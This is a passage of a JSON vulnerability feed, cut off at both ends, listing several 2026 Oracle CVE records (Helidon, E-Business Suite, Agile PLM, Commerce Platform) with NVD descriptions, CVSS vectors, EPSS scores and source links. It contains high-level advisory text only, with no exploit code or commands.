exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101579","cveId":"CVE-2026-101579","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).","summary":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).","detail":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-grpc-server).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:11.237Z","updatedAt":"2026-10-21T18:39:21.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101579","asOf":"2026-10-21T18:39:21.847Z"},"epss":{"probability":0.00269,"percentile":0.18887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101579&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101579","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101579","type":"primary","publishedAt":"2026-10-20T22:18:11.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101579&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101579, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101572","cveId":"CVE-2026-101572","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).","summary":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:10.420Z","updatedAt":"2026-10-22T19:17:34.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101572","asOf":"2026-10-22T19:17:34.263Z"},"epss":{"probability":0.0049,"percentile":0.41865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101572","type":"primary","publishedAt":"2026-10-20T22:18:10.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101567","cveId":"CVE-2026-101567","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).","summary":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:08.693Z","updatedAt":"2026-10-24T04:18:12.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101567","asOf":"2026-10-24T04:18:12.093Z"},"epss":{"probability":0.00533,"percentile":0.44736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101567","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101567","type":"primary","publishedAt":"2026-10-20T22:18:08.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101566","cveId":"CVE-2026-101566","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).","summary":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:08.467Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101566","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00118,"percentile":0.01727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101566","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101566","type":"primary","publishedAt":"2026-10-20T22:18:08.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101562","cveId":"CVE-2026-101562","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).","summary":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).   The supported version that is affected is 2.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Acollect).   The supported version that is affected is 2.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:07.953Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101562","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00303,"percentile":0.22773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101562","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101562","type":"primary","publishedAt":"2026-10-20T22:18:07.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101560","cveId":"CVE-2026-101560","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).","summary":"Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).   The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as  unauthorized read access to a subset of Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).","detail":"Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Commerce Server).   The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as  unauthorized read access to a subset of Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:07.763Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101560","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00296,"percentile":0.2205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101560&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101560","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101560","type":"primary","publishedAt":"2026-10-20T22:18:07.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101560&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101560, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101557","cveId":"CVE-2026-101557","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  Successful attacks of this vulnerability can result in takeover of Oracle Purchasing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  Successful attacks of this vulnerability can result in takeover of Oracle Purchasing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:05.640Z","updatedAt":"2026-10-24T04:18:08.153Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101557","asOf":"2026-10-24T04:18:08.153Z"},"epss":{"probability":0.00533,"percentile":0.44736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101557","type":"primary","publishedAt":"2026-10-20T22:18:05.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101556","cveId":"CVE-2026-101556","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:05.470Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101556","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00289,"percentile":0.21275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101556","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101556","type":"primary","publishedAt":"2026-10-20T22:18:05.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101556, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101555","cveId":"CVE-2026-101555","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:05.293Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101555","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00289,"percentile":0.21275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101555","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101555","type":"primary","publishedAt":"2026-10-20T22:18:05.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101554","cveId":"CVE-2026-101554","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 